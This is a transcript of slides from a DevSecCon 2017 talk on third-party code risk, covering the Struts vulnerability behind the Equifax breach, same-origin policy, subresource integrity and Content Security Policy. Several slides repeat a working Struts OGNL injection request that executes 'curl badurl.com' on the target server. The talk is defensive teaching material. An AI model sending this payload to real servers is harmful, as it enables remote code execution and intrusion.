+ All Categories
Home > Technology > DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Date post: 21-Jan-2018
Category:
Upload: devseccon-limited
View: 190 times
Download: 1 times
Share this document with a friend
105
Join the conversation #DevSecCon BY TIM KADLEC @TKADLEC Their Problems Are Your Problems
Transcript
Page 1: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Join the conversation #DevSecCon

BY TIM KADLEC @TKADLEC

Their Problems Are Your Problems

Page 2: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

THEIR PROBLEMS AREYOUR PROBLEMS

Tim Kadlec | @tkadlec

Page 3: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

HELL IS OTHER PEOPLE’S CODECODE

Page 4: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CODE

Page 5: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CODE

Page 6: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CONTEXT

Page 7: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

OPINIONS

Page 8: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

ASSUMPTIONS

Page 9: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

WEB IS POWERED BY OTHER PEOPLE’S CODE

Page 10: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

9 MILLION Different Users

Page 11: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

28% More artifacts indexed in past year

Page 12: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

23,411,471 Packages downloaded per month

Page 13: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

HUGE BOOST FOR PRODUCTIVITY

Page 14: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

1,000 DEPENDENCIES

Page 15: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

1,000 DEPENDENCIES~5 CONTRIBUTORS

Page 16: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

1,000 DEPENDENCIES~5 CONTRIBUTORS

5,000 DEVELOPERS

Page 17: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

5,000 DEVELOPERS

Page 18: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

OFFLOAD THE WORK But not the

RISK

Page 19: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

OFFLOAD THE WORK But not the

RESPONSIBILITY

Page 20: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/struts-vuln

Page 21: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/snyk-struts

Page 22: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

curl http://demo/struts -H "Content-Type: % {(#_='multipart/form-data'). (#[email protected]@DEFAULT_MEMBER_ACCESS). (@java.lang.Runtime@getRuntime().exec('curl badurl.com'))}"

Page 23: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

curl http://demo/struts -H "Content-Type: % {(#_='multipart/form-data'). (#[email protected]@DEFAULT_MEMBER_ACCESS). (@java.lang.Runtime@getRuntime().exec('curl badurl.com'))}"

Page 24: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

curl http://demo/struts -H "Content-Type: % {(#_='multipart/form-data'). (#[email protected]@DEFAULT_MEMBER_ACCESS). (@java.lang.Runtime@getRuntime().exec('curl badurl.com'))}"

Page 25: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { ... if (content_type != null && content_type.contains("multipart/form-data")) { ... request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); }

return request; }

Page 26: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { ... if (content_type != null && content_type.contains("multipart/form-data")) { ... request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); }

return request; }

Page 27: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { ... if (content_type != null && content_type.contains("multipart/form-data")) { ... request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); }

return request; }

Page 28: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});

Page 29: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

curl http://demo/struts -H "Content-Type: % {(#_='multipart/form-data'). (#[email protected]@DEFAULT_MEMBER_ACCESS). (@java.lang.Runtime@getRuntime().exec('curl badurl.com'))}"

Page 30: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

MARCH 6: FIXED VERSION RELEASED MARCH 7: EXPLOIT SCRIPTS APPEAR MAY 13-JULY 30: EQUIFAX BREACH SEPTEMBER 7: BREACH ANNOUNCED

Page 31: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

0

225

450

675

900

2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017

OPEN-SOURCE LIBRARY VULNS BY YEAR

Page 32: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

The human error was that the individual who’s responsible for communicating in the organization to apply the patch, did not.

Page 33: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

EVERYONE’S RESPONSIBILITY

Page 34: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

LAYERS OF DEFENSE

Page 35: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 36: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 37: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

77% USE A VULNERABLE JS LIBRARY

Page 38: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/lh-audit

Page 39: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/sonarwhal

Page 40: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

~35% Third-Party Resources

(2013)2013

Page 41: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

2013

Page 42: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

2013

Page 43: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

2013

Page 44: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

2013 2017

Page 45: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

2013 2017~53% Third-Party Resources

Page 46: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

77-99% Third-Party Resources

38% of sites

Page 47: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SAME-ORIGIN POLICY

Page 48: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

ORIGIN: SCHEME + HOSTNAME + PORT

Page 49: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

Page 50: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.htmlhttp://scheme

Page 51: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.htmlfoo.comscheme host

Page 52: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.htmlscheme host

port implied, 80

Page 53: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:80/about.html

Page 54: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:80/about.html

Page 55: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:81/about.html

Page 56: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:81/about.html

Page 57: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:81/about.html

Page 58: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://foo.com/index.html

http://foo.com/about.html https://foo.com/index.html http://a.foo.com/about.html http://foo.com:81/about.html

Page 59: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

--disable-web-security

Page 60: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

about:blank

javascript:

Page 61: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

var xhr = new XMLHttpRequest(); xhr.open('GET', "https://www.devseccon.com/"); xhr.send();

Page 62: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

<script src=“..."></script>

<img src="..." />

<link href="..." />

Page 63: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SUBRESOURCE INTEGRITY

Page 64: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

<script src="https://foo.com/framework.js" integrity=“sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"> </script>

Page 65: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

<script src="https://foo.com/framework.js" integrity=“sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"> </script>

Page 66: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 67: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CONTENT SECURITY POLICY (CSP)

Page 68: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SAME-ORIGIN POLICY?

Page 69: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

WHITELIST

Page 70: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: policy;

Page 71: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: resource-directive source-list;

Page 72: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: script-src ‘self’ https://apis.google.com;

Page 73: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

base-uri child-src connect-src font-src form-action frame-ancestors img-src

media-src object-src plugin-types report-uri style-src script-src upgrade-insecure-requests

Page 74: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: default-src ‘self’;

Page 75: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

none self unsafe-inline unsafe-eval

Page 76: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: default-src 'self'; script-src ‘nonce-2726c7f26c'

Page 77: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

<script nonce="2726c7f26c"> alert(123); </script>

Page 78: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: script-src 'sha256-cLuU6nVzrYJlo7rUa6PFrPQrEUpOHllb5ic='

Page 79: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy-Report-Only:

Page 80: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CONTENT-SECURITY-POLICY: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src render.githubusercontent.com; connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com; media-src 'none'; object-src assets-cdn.github.com; plugin-types application/x-shockwave-flash; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com

Page 81: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy-Report-Only: default-src https:; form-action https:; report-uri https://myreport.com;

Page 82: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 83: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Content-Security-Policy: default-src https:; form-action https:; report-uri https://myreport.com;

Page 84: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

CONTENT-SECURITY-POLICY: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src render.githubusercontent.com; connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com; media-src 'none'; object-src assets-cdn.github.com; plugin-types application/x-shockwave-flash; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com

Page 85: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 86: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SERVERLESS & PAAS

Page 87: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

UNPATCHED SERVERS

Page 88: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

COMPROMISED SERVERS

Page 89: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

WHAT’S THE PATH OF LEAST RESISTANCE?

Page 90: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 91: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 92: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 93: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec
Page 94: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/bucket-finder

Page 95: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SECURE BY DEFAULT

Page 96: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

OFFLOAD THE WORK But not the

RESPONSIBILITY

Page 97: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

REAL PEOPLE PAYING THE PRICE

Page 98: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

http://bit.ly/owasp-cloud

Page 99: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

SYSTEM CONFIGURATION NETWORK LAYER FRONT-END CODE BACK-END COMPONENTS THIRD-PARTY SERVICES

Page 100: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

LAYERS OF DEFENSE

Page 101: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

EVERYONE’S RESPONSIBILITY

Page 102: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

BRING SECURITY TO THE TEAM

Page 103: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

WEB IS POWERED BY OTHER PEOPLE’S CODE

Page 104: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

WEB’S SAFETY & STABILITY

IS UP TO US

Page 105: DevSecCon London 2017: Their-problems-are-your-problems-devseccon by Tim Kadlec

Join the conversation #DevSecCon

Thank you!Tim Kadlec | @tkadlec


Recommended